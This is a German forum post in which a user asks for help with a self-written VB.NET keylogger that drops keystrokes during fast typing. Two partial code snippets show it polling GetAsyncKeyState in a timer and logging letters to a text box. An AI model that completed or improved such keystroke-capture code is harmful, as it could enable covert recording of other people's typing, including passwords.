Ich brauche Hilfe also ich habe mir einen Keylogger gecodet nur ich habe da ein Kleines Problem der Keylogger kann nicht damit Umgehen wenn man schnell Tippt. Das liegt glaube ich darann das ich alle If abfragen in einen Timer gepackt habe.

Aber ich weiß nicht wie ich es sonst machen sollte.
Hier mal mein beispiel Code.

Code:
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

        For i = 0 To 255
            If GetAsyncKeyState(i) = -32767 Then
                Zahl = i
            End If
        Next

        If Zahl = 65 And My.Computer.Keyboard.CapsLock Or Zahl = 65 And My.Computer.Keyboard.ShiftKeyDown Then
            TextBox1.Text = TextBox1.Text + "A"
        ElseIf Zahl = 65 Then
            TextBox1.Text = TextBox1.Text + "a"
        ElseIf Zahl = 66 And My.Computer.Keyboard.CapsLock Or Zahl = 66 And My.Computer.Keyboard.ShiftKeyDown Then
            TextBox1.Text = TextBox1.Text + "B"
        ElseIf Zahl = 66 Then
            TextBox1.Text = TextBox1.Text + "b"

         ....


         ElseIf Zahl = 90 And My.Computer.Keyboard.CapsLock Or Zahl = 66 And My.Computer.Keyboard.ShiftKeyDown Then
            TextBox1.Text = TextBox1.Text + "Z"
         ElseIf Zahl = 90 Then
            TextBox1.Text = TextBox1.Text + "z"

End If
Hatte es auch schonmal anders.
Da sah es so aus.

Code:
For f = 1 To 255
            If GetAsyncKeyState(65) = -32767 Then
                If My.Computer.Keyboard.CapsLock Or My.Computer.Keyboard.ShiftKeyDown Then
                    TextBox1.Text = TextBox1.Text + "A"
                Else
                    TextBox1.Text = TextBox1.Text + "a"
                End If
            End If
        Next
Dies habe ich dann für jeden Buchstaben gemacht und immer 3 in einen Timer gesteckt. Aber das hat Irgendwann auch nichtmehr Funktioniert.

Aber besser als das obere.

MfG Navan